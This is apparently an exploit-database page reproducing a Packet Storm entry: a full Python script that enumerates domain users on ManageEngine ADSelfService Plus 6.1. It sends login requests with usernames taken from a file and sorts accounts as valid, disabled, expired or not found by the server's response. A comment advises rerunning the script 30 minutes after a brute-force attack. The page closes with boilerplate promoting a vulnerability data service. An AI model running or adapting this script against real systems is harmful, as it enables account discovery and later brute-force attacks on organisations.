Lucene search
K

ManageEngine ADSelfService Plus 6.1 User Enumeration

🗓️ 19 Apr 2022 00:00:00Reported by Metin Yunus KandemirType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 313 Views

ManageEngine ADSelfService Plus 6.1 User Enumeration exploit to enumerate domain users and detect valid, disabled, or expired account

Code
`# Exploit Title: ManageEngine ADSelfService Plus 6.1 - User Enumeration  
# Exploit Author: Metin Yunus Kandemir  
# Vendor Homepage: https://www.manageengine.com/  
# Software Link: https://www.manageengine.com/products/self-service-password/download.html  
# Version: ADSelfService 6.1 Build 6121  
# Tested Against: Build 6118 - 6121  
# Details: https://github.com/passtheticket/vulnerability-research/blob/main/manage-engine-apps/adselfservice-userenum.md  
  
# !/usr/bin/python3  
import requests  
import sys  
import time  
import urllib3  
from urllib3.exceptions import InsecureRequestWarning  
  
"""  
The domain users can be enumerated like userenum module of the kerbrute tool using this exploit.  
If you conducted a brute-force attack against a user, please run the script after 30 minutes (default settings) otherwise the results can be false positive.  
"""  
  
def request(target, user):  
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)  
url = target + 'ServletAPI/accounts/login'  
data = {"loginName": user}  
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"}  
req = requests.post(url, data=data, headers=headers, verify=False)  
  
# For debugging  
# print("[*] Response for " + user + ": " + req.text.strip())  
if 'PASSWORD' in req.text:  
print("[+] " + user + " is VALID!")  
elif 'Your account has been disabled' in req.text:  
print("[+] " + user + " account has been DISABLED.")  
elif 'Your account has expired' in req.text:  
print("[+] " + user + " account has EXPIRED.")  
elif 'Enter the text as shown in the image.' in req.text:  
print("[!] The exploit doesn't detect expired and disabled users. Please, run it after the 30 minutes. ")  
elif 'Permission Denied.' in req.text:  
print("[-] " + user + " is not found.")  
  
  
def get_users(target, file):  
try:  
file = open(file, "r")  
for line in file:  
line = line.strip()  
time.sleep(0.5)  
request(target, user=line)  
except FileNotFoundError:  
print("[-] File not found!")  
sys.exit(1)  
  
  
def main(args):  
if len(args) != 3:  
print("[*] Usage: %s url usernames_file" % (args[0]))  
print("[*] Example: %s https://target/ /tmp/usernames.txt" % (args[0]))  
sys.exit(1)  
get_users(target=args[1], file=args[2])  
  
  
if __name__ == "__main__":  
main(args=sys.argv)  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation